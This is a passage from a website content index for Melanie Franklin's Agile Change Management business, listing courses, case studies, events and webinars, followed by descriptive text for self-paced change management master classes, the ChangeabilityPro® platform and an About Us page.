Bundle](https://agilechangemanagement.co.uk/product/agile-change-management-course-and-exam-bundle/): EXAM BUNDLE The Agile Change Agent course bridges the gap between the formal theories, models and techniques courses in Change... - [Online Coaching](https://agilechangemanagement.co.uk/product/online-coaching/): - [Agile Change Agent Virtual Classroom Course](https://agilechangemanagement.co.uk/product/agile-change-agent-course/): Sign up to our Agile Change Agent Virtual Classroom Course. These courses are run via live virtual classroom so you get the most out of your learning time. - [Change Management Foundation and Practitioner Virtual Classroom Course](https://agilechangemanagement.co.uk/product/change-management-practitioner-course/): Providing you with the skills, techniques and processes to deliver effective change. Change management training is an essential element of... --- ## Case Studies - [Delivering sponsor development programmes](https://agilechangemanagement.co.uk/casestudies/delivering-sponsor-development-programmes/): Case Study Problem This University had ambitious growth targets necessitating a high number of strategic change initiatives. However, their current... - [CEO coaching post-acquisition](https://agilechangemanagement.co.uk/casestudies/ceo-coaching-post-acquisition/): Case Study Problem The CEO was appointed by the European acquiring company (construction) to run their UK based subsidiary (specialist... - [White label CM process for consultancies](https://agilechangemanagement.co.uk/casestudies/white-label-cm-process-for-consultancies/): Case Study Problem The company that hired me has a proprietary data analytics platform that it sells to businesses all... - [Building networks of change champions](https://agilechangemanagement.co.uk/casestudies/building-networks-of-change-champions/): Case Study Problem This Middle East utility organisation was starting on a very significant transformation, involving 24 change programmes, covering... - [Designing portfolio management processes](https://agilechangemanagement.co.uk/casestudies/designing-portfolio-management-processes/): Case Study Problem This organisation is European subsidiary of a multi-billion dollar US based financial services organisation. His concern was... - [Creating practical toolkits and workshops](https://agilechangemanagement.co.uk/casestudies/creating-practical-toolkits-and-workshops/): Case Study Problem This Not for Profit organisation wanted to increase the number of staff and volunteers managing change initiatives... --- ## Venues - [Agile Change Management Event location](https://agilechangemanagement.co.uk/venue/418/): --- ## Organisers - [Deltra](https://agilechangemanagement.co.uk/organiser/deltra/): - [Melanie Franklin Agile Change Management](https://agilechangemanagement.co.uk/organiser/melanie-franklin-agile-change-management/): - [BCS Business Change Specialist Group and BCS Agile Methods SG](https://agilechangemanagement.co.uk/organiser/bcs-business-change-specialist-group-and-bcs-agile-methods-sg/): - [APMG](https://agilechangemanagement.co.uk/organiser/apmg-2/): - [APMG](https://agilechangemanagement.co.uk/organiser/apmg/): - [Lead Change 2022](https://agilechangemanagement.co.uk/organiser/lead-change-2021/): - [Continuous Change Community](https://agilechangemanagement.co.uk/organiser/continuous-change-community/): Join our Continuous Change Community and join the discussion today. How has the world around you led to where you are now - [Project Challenge Expo](https://agilechangemanagement.co.uk/organiser/project-challenge-expo/): --- ## Events - [The Change It Podcast with Eloise Seidelin](https://agilechangemanagement.co.uk/event/the-change-it-podcast-with-eloise-seidelin/): Change is Getting Smarter: Neuroscience, AI and the End of Linear Models with Melanie Franklin Listen here In this episode... - [Impact of AI on Change Management](https://agilechangemanagement.co.uk/event/impact-of-ai-on-change-management/): Is AI About to Hijack Your Role? What Every Change Leader Needs to Know 30 mins. No waffle. Just the... - [Beyond the Change Team: Building Everyday Change Capability Across Your Organisation](https://agilechangemanagement.co.uk/event/beyond-the-change-team-building-everyday-change-capability-across-your-organisation/): Change is happening faster — and in more places — than ever before. But is your organisation truly ready to... - [Change for Non-Change Managers with Melanie Franklin](https://agilechangemanagement.co.uk/event/change-for-non-change-managers-with-melanie-franklin/): Highlights You are not a change manager, you already have a full time operational role, but you know that you... - [Scaling for Change with Myra Clarke](https://agilechangemanagement.co.uk/event/scaling-for-change-with-myra-clarke/): Highlights With so much change taking place, being clear about the scope of the change you are involved in ensures... - [Building your Change Agent Network with Melanie Franklin](https://agilechangemanagement.co.uk/event/building-your-change-agent-network-with-melanie-franklin/): Highlights Building a team of change agents or champions is an effective way to increase involvement in change by those... - [Digital Leadership with Mel Ross](https://agilechangemanagement.co.uk/event/digital-leadership-with-mel-ross/): Highlights Digital transformations are the most common transformational changes taking place today according to the global Capability for Change survey.... - [Imposter Syndrome with Estie Briggs](https://agilechangemanagement.co.uk/event/imposter-syndrome-with-estie-briggs/): Highlights Involvement in change means coping with your own resistance to change, and the resistance from your colleagues. It is... - [Why Agile Change and Neuroscience have increased relevance for AI projects](https://agilechangemanagement.co.uk/event/why-agile-change-and-neuroscience-have-increased-relevance-for-ai-projects/): As many change initiatives are expanding to include use of AI tools, we are increasing the uncertainty created by change... - [Quick Guide – Neuroscience for Change](https://agilechangemanagement.co.uk/event/quick-guide-neuroscience-for-change/): Learn about the newest change management qualification, and how it aligns to other change management certifications. Gain an understanding of... - [Quick Guide – Change Management Practitioner](https://agilechangemanagement.co.uk/event/quick-guide-change-management-practitioner/): In this Quick Guide – gain an overview of the theories and models in this course, and how this course... - [Quick Guide – Agile Change](https://agilechangemanagement.co.uk/event/quick-guide-agile-change/): In this Quick Guide – gain an understanding of the practical techniques and the management skills you can apply from... - [Complete Picture – Which Is The Right Change Management Qualifications For You](https://agilechangemanagement.co.uk/event/complete-picture-which-is-the-right-change-management-qualifications-for-you/): Welcome to my Quick Guides series, where I am going to explain the range of change management qualifications currently available,... - [How to Hire Change Management Resources](https://agilechangemanagement.co.uk/event/how-to-hire-change-management-resources/): This event is for everyone responsible for hiring resources in business change and transformation and anyone considering their next role.... - [Capability for Change Survey Insights](https://agilechangemanagement.co.uk/event/capability-for-change-survey-insights/): This webinar will provide you with valuable statistics and insights about the current state of change management practices globally. It... - [Change Champions Event – Agile Change Management](https://agilechangemanagement.co.uk/event/change-champions-event-agile-change-management/): Mel Franklin from Agile Change Management is back for another input into change management. For those that have not yet... - [Impact of Neuroscience on Change Management Approaches](https://agilechangemanagement.co.uk/event/impact-of-neuroscience-on-change-management-approaches/): In this fast paced hour, Melanie will highlight the impact of neuroscience on Change Management approaches! - [Neuroscience for Change at Work](https://agilechangemanagement.co.uk/event/neuroscience-for-change-at-work/): Neuroscience sounds like a scary and complicated subject, but Melanie and Tibisay have written a book that provides simple explanations. - [Jumpstart Your Stakeholder Engagement](https://agilechangemanagement.co.uk/event/jumpstart-your-stakeholder-engagement/): Jumpstart your stakeholder engagement with our free live webinar for organisations in any industry. Book your place today - [Using Agile Change to outpace your workload](https://agilechangemanagement.co.uk/event/using-agile-change-to-outpace-your-workload/): So many of us are overwhelmed by our workload, we turn up for meetings but have not done the work,... - [How understanding neuroscience for change supports change sponsors](https://agilechangemanagement.co.uk/event/how-understanding-neuroscience-for-change-supports-change-sponsors/): The role of sponsor is a difficult balancing act, covering the scope, participation and communication of change. In this webinar,... - [Neuroscience Triggers New Ways to Make Change Happen](https://agilechangemanagement.co.uk/event/neuroscience-triggers-new-ways-to-make-change-happen/): In this energetic session, I will give a brief overview of the most popular and well known models of the... - [Free Webinar: Amplify Agile with Neuroscience](https://agilechangemanagement.co.uk/event/amplify-agile-with-neuroscience/2024-02-21/): Free Neuroscience Webinar - Join us on the 21st February for learn about "brain smart" ways to communicate with your stakeholders. - [Using Neuroscience to Power Agile Working](https://agilechangemanagement.co.uk/event/using-neuroscience-to-power-agile-working-2/): The Using Neuroscience to Power Agile Working webinar is for anyone involved in implementing and adopting agile culture. - [Using Neuroscience to Power Agile Working](https://agilechangemanagement.co.uk/event/using-neuroscience-to-power-agile-working/): Agile working is “brain-smart” – there are so many neuroscientific reasons why incremental, iterative planning, collaborative working, ceremonies, and celebrations... - [2024 Trends in Change Management](https://agilechangemanagement.co.uk/event/2024-trends-in-agile-change-management/): What can change management professionals expect in 2024? 2024 Trends in Change Management Using results from the 2023 global Capability... - [Neurohacks to Help Implement Change in an Agile Way](https://agilechangemanagement.co.uk/event/neurohacks-to-help-implement-change-in-an-agile-way/): In this webinar, Melanie explores what triggers resistance to change, and how we can use neuroscience to “hack” our brains... - [Neuroscience for Change Webinar](https://agilechangemanagement.co.uk/event/neuroscience-for-change-webinar/): To achieve business change, we must persuade all those impacted to adopt new ways of working. This means our communications... - [ChangeStories podcast](https://agilechangemanagement.co.uk/event/changestories-podcast/): Listen to the ChangeStories podcast where Dr. Susanne Evans and I talk about the skills and capabilities that are required to lead and manage change. - [Making change relevant for those impacted](https://agilechangemanagement.co.uk/event/making-change-relevant-for-those-impacted/): Interactive session to network, share ideas and experiences about how we engage those affected by change. - [Resilience - How do we stay positive when stressed by change?](https://agilechangemanagement.co.uk/event/resilience-how-do-we-stay-positive-when-stressed-by-change/): How do we find coping mechanisms that enable us to remain positive and engaged when we are affected by the stress of others? - [Where does the responsibility for change sit?](https://agilechangemanagement.co.uk/event/where-does-the-responsibility-for-change-sit/): The responsibility for change has evolved as we have matured as a profession, leading to the need for us to build more strategic partnerships - [Level Up your Career – How to become an Agile Change Agent.](https://agilechangemanagement.co.uk/event/level-up-your-career-how-to-become-an-agile-change-agent/): APMG International presents our popular weekly panel Q&A show. This episode is about how to become an Agile Leader. - [Agile planning techniques made simple](https://agilechangemanagement.co.uk/event/agile-planning-techniques-made-simple/): In this action-packed 30 minutes, Melanie will explain how planning techniques can be applied to any piece of work. - [Coach Change: Making Change Happen](https://agilechangemanagement.co.uk/event/coach-change-making-change-happen/): Coach Change: Making Change Happen is your opportunity to learn more about the power of coaching in change management. - [Resilience Powers Change](https://agilechangemanagement.co.uk/event/resilience-powers-change-3/): We know the ability to keep going despite set backs is a critical life skill, but do we know how to create it for ourselves and for others? - [Creating energised stakeholders for change](https://agilechangemanagement.co.uk/event/creating-energised-stakeholders-for-change/): In this webinar, I will build on the concepts of primary drivers in the brain that trigger instinctive behaviour. - [Are we celebrating the success of our change?](https://agilechangemanagement.co.uk/event/are-we-celebrating-the-success-of-our-change/): We will look at what the survey results told us & we will work together to identify what makes a great celebration of an achievement. - [Neuroscience to Drive Change at Work](https://agilechangemanagement.co.uk/event/neuroscience-to-drive-change-at-work-3/): Know the basics of how our brains work, so that you can reduce resistance, decrease stress & maximise positivity, creativity & engagement. - [Talking with...Melanie Franklin: Part 2](https://agilechangemanagement.co.uk/event/talking-with-melanie-franklin-part-2/): Reflect on which change management trend predictions came into fruition a conversation that will be highly beneficial for change leaders. - [Resilience Powers Change](https://agilechangemanagement.co.uk/event/resilience-powers-change-2/): We know the ability to keep going despite set backs is a critical life skill, but do we know how to create it for ourselves and for others? - [Data-driven trends in Change Management](https://agilechangemanagement.co.uk/event/data-driven-trends-in-change-management/): We need to make a case for the value of change management and insist that these vital activities are standard. - [Data Driven Assessment of Current State of Organizational Change Management](https://agilechangemanagement.co.uk/event/data-driven-change-management/): Joining us for this webinar will enable you to compare your achievements and experiences against the respondents of this global survey. - [Neuroscience to Drive Change at Work](https://agilechangemanagement.co.uk/event/neuroscience-to-drive-change-at-work/): Know the basics of how our brains work, so that you can reduce resistance, decrease stress & maximise positivity, creativity and engagement. - [Persuading sponsors to be sponsors!](https://agilechangemanagement.co.uk/event/persuading-sponsors-to-be-sponsors/): A constant theme in this community is the difficulty of achieving successful change without contributions from those who are supposed... - [Agnostic Agile Conference 2022](https://agilechangemanagement.co.uk/event/agnostic-agile-conference-2022/): Join Melanie for her talk at the Agnostic Agile Conference – #AAConf. Adopting an agile approach is a significant change... - [Evolution of Change Skills](https://agilechangemanagement.co.uk/event/evolution-of-change-skills/): A recent report on linked in about the top skills employers are looking for saw change management fall in importance... - [Transformation and Neuroscience](https://agilechangemanagement.co.uk/event/transformation-and-neuroscience/): At our next community event we have asked Jenni Sacks to get the conversation starting by letting us know how... - [Lead Change 2022 - Re-define your service proposition](https://agilechangemanagement.co.uk/event/lead-change-2022-re-define-your-service-proposition/): We all have different job titles and role descriptions, influenced by the level of understanding and the appreciation for our... - [Creating a network of Change Agents](https://agilechangemanagement.co.uk/event/creating-a-network-of-change-agents/): My guidance on building Change Agent Networks is so popular we have brought together the steps needed to create your network. - [Creating Participation in Change Panel Discussion](https://agilechangemanagement.co.uk/event/creating-participation-in-change-panel-discussion/): From previous debates, as a community, we recognise that the volume of change organisations are commissioning cannot be managed solely... - [Benchmark Change Confidence](https://agilechangemanagement.co.uk/event/enterprise-change-transformation-survey/): Change and Transformation is a critical success factor and competitive advantage. How confident are you that your organisation excels at... - [What Next - Summer Planning Event](https://agilechangemanagement.co.uk/event/what-next-summer-planning-event/): Over the summer many of us take the opportunity to think about what do I do next. Sometimes its about... - [Resilience Powers Change](https://agilechangemanagement.co.uk/event/resilience-powers-change/): We know the ability to keep going despite set backs is a critical life skill, but do we know how to create it for ourselves and for others? I will share two practical approaches for resilience: reducing the blockers to change; using neuro-hacks to reframe how people feel about change. - [Identifying the Benefits of Change](https://agilechangemanagement.co.uk/event/identifying-the-benefits-of-change/): When defining the benefits of change - what benefits should we be looking for – is revenue increase/cost decrease too high level? Does it include the benefits of changes in behaviours? What baselines should we use to measure the change against, when what the baselines refer to is also changing? - [Leadership Behaviours for Effective Agile](https://agilechangemanagement.co.uk/event/leadership-behaviours-for-effective-agile/): Agility is supported by methodologies, processes and techniques but true organisational agility can only be achieved if it is supported... - [Improving communications and engagement in a hybrid world](https://agilechangemanagement.co.uk/event/improving-communications-and-engagement-in-a-hybrid-world/): In our next event we will explore the challenges and consider options for communications and engagement in a hybrid world. - [Creating the culture for Agile](https://agilechangemanagement.co.uk/event/creating-the-culture-for-agile/): Feedback from many webinars, surveys and research into the adoption of agile practices clearly tells us that culture is the... - [Establishing the value of change management - for all roles](https://agilechangemanagement.co.uk/event/establishing-the-value-of-change-management-for-all-roles/): As change professionals we know that what we do has value for the organisation, by enabling tangible change to become fully adopted - [Neuroscience for Change Management](https://agilechangemanagement.co.uk/event/neuroscience-for-change-management-2/): Change is stressful, lets not make it worse by working against how our brains want to operate. Know the basics... - [Why is Agile Change a great fit for your work?](https://agilechangemanagement.co.uk/event/why-is-agile-change-a-great-fit-for-your-work/): Why is Agile Change a great fit for your work? Since the launch of Agile Change Management publication (first edition)... - [Level Up your Career – How to become a Change Leader](https://agilechangemanagement.co.uk/event/episode-38-level-up-your-career-how-to-become-a-change-leader/): APMG International presents our popular weekly panel Q&A show. Level Up your Career – How to Become a Change Leader... - [The Value of Change Management and how to measure it](https://agilechangemanagement.co.uk/event/the-value-of-change-management-and-how-to-measure-it/): Following on from our successful January event talking about measuring change we wanted to look at how we apply that to our profession. - [Best Leadership Behaviours for Effective Agile](https://agilechangemanagement.co.uk/event/bcs-proms-g-event-best-leadership-behaviours-for-effective-agile/): Agility is supported by methodologies, processes and techniques but true organisational agility can only be achieved if it is supported... - [Talking with... Melanie Franklin, Agile Change Expert](https://agilechangemanagement.co.uk/event/talking-with-melanie-franklin-agile-change-expert/): Few things over the last few years have been as certain as change. Companies had to adopt new ways of... - [Getting buy-in for your project and change ideas](https://agilechangemanagement.co.uk/event/project-challenge-expo-2/): Register here for free attendance to join my presentation below. Look forward to seeing you there! Getting buy-in for your... - [Top Trends Influencing Agile Change in 2022](https://agilechangemanagement.co.uk/event/top-trends-influencing-agile-change-in-2022/): Trends from most requested issues from global client base, change management thought leadership groups and previous years trends. The new... - [Managing Data Effectively for Behaviour Change](https://agilechangemanagement.co.uk/event/managing-data-effectively-for-behaviour-change/): To provide and update or drive decision making? What are the different types of data? How can it be used for driving behaviour change? - [Introduction to Agile with Melanie Franklin](https://agilechangemanagement.co.uk/event/introduction-to-agile/): Monday 29th November 2021, 17:50 – 20:00 Agile frameworks and mindsets offer alternative and often better ways to plan and... - [Using Data to Achieve Real Alignment for Change](https://agilechangemanagement.co.uk/event/webinar-using-data-to-achieve-real-alignment-for-change/): People see things differently. They make assumptions about how things are, then use those as the basis of their decisions and actions. - [Applying agile change to solve our most common problems](https://agilechangemanagement.co.uk/event/apmg-webinar-applying-agile-change-to-solve-our-most-common-problems/): Applying agile change to solve our most common problems In this free-to-attend webinar, renowned Agile, PPM & Change Management expert... - [Agile Change – getting everyone to appreciate the benefits of this approach](https://agilechangemanagement.co.uk/event/lead-change-2021-conference/): Join me on Tuesday 17th November @ 11:25 here at the Lead Change 2021 brought to you by the Change... - [Handling Change when there is no sense of Urgency](https://agilechangemanagement.co.uk/event/handling-change-when-there-is-no-sense-of-urgency/): Coming out of a pandemic is not the same as entering one. Last March was a crisis, we knew we... - [How do I apply agile to my project/change initiative?](https://agilechangemanagement.co.uk/event/project-challenge-expo/): If you didn’t manage to get to the show you can catch up here – How do I apply agile... --- # # Detailed Content ## Pages ### Change for Project Professionals - Published: 2025-06-11 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/courses/change-for-project-professionals/ Change for Project Professionals SELF-PACED ONLINE masterclass £395. 00 + VAT Buy Now OR If you want continuous learning and multiple master classes, buy ChangeabilityPro® membership to access this master class + others + neurohacks, each one a new practical technique for making change happen. Click here to learn more. Key Course info 20 sessions = video technique + practical guidance Comprehensive set of checklists, templates, agendas & guidance notes Learn from experienced practitioners Deep learning in all aspects of creating and running a Change Network Learn in your own time at your own pace Gain a digital badge so you can share evidence of your expertise Change for Project Professionals Master Class Summary This is an essential masterclass for any project professional who wants to ensure they make change happen. It provides guidance for those project teams working with a change manager and those who need to ensure they engage the business to ensure new ways of working are adopted. The class will give you lots of great ways to ensure you can make change happen alongside your day to day project deliverables. You will have new techniques and ideas to make you feel supported and invigorated to make change happen and achieve benefits for your organisation. Outcomes Confidently integrate change management principles into project planning and delivery, ensuring people, systems and process changes are aligned for successful outcomesEquip project team members to act as change agents, engaging others, addressing emotional responses to change, and motivating their teams throughout... --- ### Overcoming Imposter Syndrome Master Class - Published: 2025-03-31 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/courses/overcoming-imposter-syndrome-master-class/ NEW! Overcoming Imposter Syndrome SELF-PACED ONLINE master class £195. 00 + VAT BUY NOW OR If you want continuous learning and multiple master classes, buy ChangeabilityPro® membership to access this master class + others + neurohacks, each one a new practical technique for making change happen. Click here to learn more. Key Course info 20 sessions = video technique + practical guidance Comprehensive set of checklists, templates, agendas & guidance notes Learn from experienced practitioners Deep learning in all aspects of creating and running a Change Network Learn in your own time at your own pace Gain a digital badge so you can share evidence of your expertise Overcoming Imposter Syndrome Master Class Summary Imposter Syndrome affects over 70% of people, causing self-doubt, stress, and a fear of being ‘found out. ’ This master class provides practical strategies to recognise and manage Imposter Syndrome, helping you build emotional intelligence, boost confidence, and step into your full potential. Through expert-led insights, interactive exercises, and actionable tools, you'll learn how to overcome self-limiting beliefs, develop a strong leadership presence, and support others facing similar challenges. Ideal for change leaders and professionals looking to enhance their confidence and effectiveness in any role. Outcomes Recognise and manage imposter syndrome by understanding its signs, negative impacts, and how it manifests in daily life. Develop self-awareness by identifying personal triggers and thought patterns that contribute to self-doubt. Enhance assertiveness and build confidence in your skills and contributions, allowing you to communicate with clarity and self-assurance. Gain... --- ### Change for Non-Change Managers Master Class - Published: 2025-02-27 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/courses/change-for-non-change-managers-master-class/ NEW! Change for Non-Change Managers SELF-PACED ONLINE master class £395. 00 + VAT Buy Now OR If you want continuous learning and multiple master classes, buy ChangeabilityPro® membership to access this master class + others + neurohacks, each one a new practical technique for making change happen. Click here to learn more. Key Course info 20 sessions = video technique + practical guidance Comprehensive set of checklists, templates, agendas & guidance notes Learn from experienced practitioners Deep learning in all aspects of creating and running a Change Network Learn in your own time at your own pace Gain a digital badge so you can share evidence of your expertise Change for Non-Change Managers Master Class Summary Essential guidance for anyone who is trying to make change happen at work. This is a jargon free guide to the actions and responsibilities for change, and how these fit alongside your daily work. You may not have change management in your job title, but you recognise it is taking up increasing amounts of your time. This master class will give you techniques, new ideas, practical guidance and make you feel personally supported, as you support your team through change. Outcomes Understand the two key components of change:Changes to the structure supporting your work – systems, data, processes, policies, quality standardsBehaviours and routines to get work done, and the values that shape how work is doneLearn what questions to ask to assess how proposed changes will impact how you and your team will work... --- ### Neuroscience for Change > By completing the Neuroscience for Change course you will have access to a toolkit to understand how the brain works when it comes to change. - Published: 2025-01-17 - Modified: 2025-02-28 - URL: https://agilechangemanagement.co.uk/neuroscience-for-change/ Neuroscience for Change Course Virtual Classroom Are you implementing change in your organisation? Are you looking for brain friendly techniques to encourage easy adoption of new ways of working for all of your employees? Then the Neuroscience for Change course is exactly what you need. By completing the Neuroscience for Change course you will have access to a comprehensive toolkit of practical techniques to understand how the brain works when it comes to adopting change. Book Virtual Classroom Course https://www. youtube. com/watch? v=zF8MhRnSmfY&t=10s Harness the power of Neuroscience to navigate organisational change Neuroscience for Change Course Outline This course has five sections leading to your Neuroscience Certification. Each section of the course builds on the content of the others to produce a toolkit of practical techniques that meet the criteria for how the brain reacts to change:Introduction to neuroscience and the PEPE© modelPain domain, formed of the two dimensions: reducing pain and increasing pleasureError detection domain, formed of two dimensions: reducing mismatch and increasing positive signalsEnergy domain, formed of two dimensions: increasing energy for change and reducing energy needed for changePeaks and valleys domain, formed of two dimensions: managing peaks and promoting valleys Who is the Neuroscience for Change Course for? The Neuroscience for Change course is perfect for individuals navigating or undergoing workplace change. It’s also great for managers who are implementing the change to get a better understanding of how their team will process the organisational changes. This course requires no prerequisites, as change is a universal aspect... --- ### Digital Leadership - Published: 2025-01-14 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/courses/digital-leadership/ Digital Leadership SELF-PACED ONLINE masterclass £495. 00 + VAT Buy Now OR If you want continuous learning and multiple master classes, buy ChangeabilityPro® membership to access this master class + others + neurohacks, each one a new practical technique for making change happen. Click here to learn more. Key Course info Created in a modular approach to enable you to learn easily at your own pace Structured to enable you to apply your own reflections and use as a self-assessment tool Learn from an experienced practitioner Gain a digital badge so you can share evidence of your expertise Opportunity to transfer the knowledge and build capability in team workshops Digital Leadership Summary In a digitally changing world, you need guidance on how to think, behave and act to achieve success. You are trying to define and understand the future more clearly, and appreciate the opportunities and risks this creates for you and your team. This is an exciting and thought provoking master class, which gives you techniques for assessing your digital eco-system, an approach for understanding your level of technical confidence and techniques for building a digital mindset that will enable you to thrive. The material is delivered by a digital leader with extensive coaching experience. Throughout, she will focus on how you can apply and use what you are learning. This master class will energise you and give you a positive perspective you can share with others. Outcomes Consider the digitally changing world in relation to your work and... --- ### About Us > Agile Change Management will no longer be a ltd company, invoicing will come from Capability for Change Ltd. Find out more about the company - Published: 2024-12-23 - Modified: 2025-05-07 - URL: https://agilechangemanagement.co.uk/about-us/ About Us I'm Melanie Franklin, founder of Agile Change Management, and as my work expands beyond Agile Change to a broader focus on building change capability, I am consolidating my services under Capability for Change Limited while continuing to offer training, consultancy, and new products like ChangeabilityPro®. About UsI’m Melanie Franklin, founder of Agile Change Management. For the last 10 years my training, coaching and consultancy work has been delivered via Agile Change Management a trading name of Capability for Change LimitedVia the website www. agilechangemanagement. co. uk my work is globally recognised as a quality learning experience, and the website is the home of highly regarded research, ideas, techniques and commentary on the value and importance of change management. Of course, my work in change management is more than encouraging an Agile Change approach. My focus is on creating an ability to cope and thrive during change and over the last couple of years I have led the creation of a new service, called ChangeabilityPro® which is a platform to access immediate practical help to overcome any blockers to change that are holding you back. Working with a new group of experts, this work is delivered by a associated company called Capability for Change Limited. This summer several factors came together to trigger a shift in my thinking and a decision to take a new path, and I wanted to share these, not only to explain my own situation, but also as a good example of how business change... --- ### Creating Insights to Drive Better Change Outcomes - Published: 2024-12-12 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/courses/creating-insights-to-drive-better-change-outcomes/ Creating Insights to Drive Better Change Outcomes SELF-PACED ONLINE masterclass £295. 00 + VAT Buy Now OR If you want continuous learning and multiple master classes, buy ChangeabilityPro® membership to access this master class + others + neurohacks, each one a new practical technique for making change happen. Click here to learn more. Key Course info Created in a modular approach to enable you to learn easily at your own pace Structured to enable you to apply your own reflections and use as a self-assessment tool Learn from an experienced practitioner Gain a digital badge so you can share evidence of your expertise Opportunity to transfer the knowledge and build capability in team workshops Access to a new Scaling Change Framework TM and other key resources Creating Insights to Drive Better Change Outcomes Summary Myra Clarke, an experienced Change Specialist and Coach will be introducing you to her Scaling Change Framework TM to help you create insights before embarking on a change initiative or to help assure your work; this masterclass delivers real life examples together with insightful coaching questions to help you produce better change outcomes on your programme of work. The masterclass finishes with a section called ‘PS – Its Personal’ to help you manage change in your own life applying the change coaching framework to gain clarity and move forward. Outcomes You will be familiar with a new change coaching framework that will help you scale up and manage change You will be aware of six key... --- ### Change Management Master Class Series - Published: 2024-10-30 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/courses/change-management-master-class-series/ Change Management Master Class Series SELF-PACED ONLINE masterclasses Welcome to our change management master class series; short courses taught by experts that complement and extend the range of the training available through our certificated courses. Our series of master classes is growing, so check back soon for more! If you want continuous learning and multiple master classes, buy ChangeabilityPro® membership to access this master class + others + neurohacks, each one a new practical technique for making change happen. About the Change Management Master Class Series The change management master classes apply specialist expertise to the most in-demand subjects and the latest thinking in change management, project and programme management, digital transformation and leadership development. New master classes are frequently added to this series, using your feedback from the global Change Capability Survey, backed up by our extensive range of focus groups and discussions. Each master class in the series delivers unique, practical techniques and solutions. They have been created to explain the latest thinking in neuroscience, emotional intelligence, positive psychology and behavioural science. Change Management Master Classes Change for Project Professionals£395. 00 + VATThis is an essential masterclass for any project professional who wants to ensure they make change happen. It provides guidance for those project teams working with a change manager and those who need to ensure they engage the business to ensure new ways of working are adopted. Find out more Overcoming Imposter Syndrome£195. 00 + VATImposter Syndrome affects over 70% of people, causing self-doubt, stress, and... --- ### Build your Change Network Masterclass - Published: 2024-10-28 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/courses/build-your-change-network-masterclass/ Build your Change Network SELF-PACED ONLINE masterclass £295. 00 + VAT Buy Now OR If you want continuous learning and multiple master classes, buy ChangeabilityPro® membership to access this master class + others + neurohacks, each one a new practical technique for making change happen. Click here to learn more. Key Course info 20 sessions = video technique + practical guidance Comprehensive set of checklists, templates, agendas & guidance notes Learn from experienced practitioners Deep learning in all aspects of creating and running a Change Network Learn in your own time at your own pace Gain a digital badge so you can share evidence of your expertise Build your Change Network Master Class Summary Networks of change agents and champions are needed to drive the changes we are making through every role and every layer of our organisations. My guidance on building Change Networks is so popular we have brought together the steps needed to create your network, the criteria for effective change agents/champions and lessons learned on how to find and manage these agents into this masterclass. Outcomes Consider your context and the culture you work within to create the most relevant structure and scopeUnderstand the scale of the work involved in building and running your Change NetworkIdentify and create an ordered task list of the work you need to doConfidently explain the value of your network to those doing the work and those supporting the workEnergise individuals to volunteer to become Change Agents Benefits Get a digital badge... --- ### ChangeabilityPro® > Sign up to ChangeabilityPro® today for a fantastic resource on your organisational change journey. Create your account today. - Published: 2024-10-18 - Modified: 2025-05-30 - URL: https://agilechangemanagement.co.uk/changeabilitypro/ ChangeabilityPro® A bespoke online training platform to build your change capability This is not a training course – ChangeabilityPro® is a platform full of practical techniques that give you answers to the challenges we face every day at work. ChangeabilityPro® builds your confidence and enhances your credibility – it is your personal space for your professional development. Learn More Get a 7 day FREE trial upon any course completion AI-Powered Neurohacks for Smarter Change ChangeabilityPro® has an AI search feature, so all you need to do is tell it what you want help with. Tell it your problem and let the platform find you 3 “neurohacks” – brain-smart techniques that give you actions to take, things to say and new ways of explaining your change to those you need to engage. Watch videos, download templates and checklists Show the videos to others, using them as mini-training sessions Inspire your Change Agents and Change Champion Learn more about ChangeabilityPro® Visit our Capability for Change website to learn more, or book a call with Melanie today and let me help you increase your skills, confidence and change capability. Arrange a free demo --- ### Self-Paced Login - Published: 2024-09-27 - Modified: 2024-09-27 - URL: https://agilechangemanagement.co.uk/self-paced-login/ Login to your self-paced training Our online self-paced training is brought to you by ChangeabilityPro®Log into your ChangeabilityPro® account here Login If you are looking to manage your account and purchase history, login here --- ### Agile Change Coach Self Paced Course > The self-paced online Agile Change Coach course is packed full of “neuro-hacks” to help you learn and understand organisational change - Published: 2024-09-09 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/courses/agile-change-coach-self-paced-course/ Agile Change Coach SELF-PACED ONLINE Course & Exam £695. 00 + VAT Are you self-funding your attendance? We have a 15% discount for you. Enter the code LEARN15 at checkout for 15% off Get Started Agile Change Coach Self-Paced Online Course Information Self-paced online learning so you can learn on your own Agile Change Coach is a clearly structured course broken into different modules with bite-sized sessions where you can track your progress online Interactive elements - Quizzes at the end of each section of the course so you can check your understanding and pinpoint what to revise Different activities for you to work through with example answers so you can apply to your workplace change Excellent attendee feedback and high pass rate for examinations Free access to online group coaching sessions and community events 7 day trial of ChangeabilityPro® for access to more learning materials Download Course Outline About the Agile Change Coach Self-Paced Online Course Access your training when and where you wantThe self-paced online Agile Change Coach course is packed full of “neuro-hacks” designed to help people change their ways of working by overcoming psychological and emotional barriers to change. Each of the 43 new change techniques comes from research in neuroscience and positive psychology, tried and tested in many different change situations and explained in easy-to-understand language. As you self-pace through twenty hours of change coach content, you can learn and practice these change techniques. Give yourself time to think and reflect on how they apply... --- ### Agile Change Agent Self Paced Course > The Agile Change Agent Self-Paced Online course is relevant for anyone who is taking part in change at work. No Experience required - Published: 2024-09-05 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/courses/agile-change-agent-self-paced-course/ Agile Change Agent SELF-PACED ONLINE Course & Exam £695. 00 + VAT Are you self-funding your attendance? We have a 15% discount for you. Enter the code LEARN15 at checkout for 15% off Get Started Agile Change Agent Self-Paced Course Information Online learning at a time convenient to you Clearly structured self-paced course, broken into modules and sessions, where you can track your progress Interactive quizzes at the end of each section of the course so you can check your understanding and pinpoint what to revise Activities with example answers so you can apply them to your situation and use the example content to formulate your own approach Excellent attendee feedback and high pass rate for examinations Free access to online group coaching sessions and community events 7 day trial of ChangeabilityPro® for access to more learning materials Download Course Outline About the Agile Change Agent Self-Paced Course Access your training when and where you wantThis self-paced online course is accessible for you to learn at your own pace using the online platform. The Agile Change Agent course has been designed to bridge the gap between the formal theories, models and techniques in Change Management and Agile Project Management. The course can be used as a follow-on course for those with the qualifications or as an entry point for those who need the capability but haven’t studied the subjects in depth. Learn with the author and trainer of two 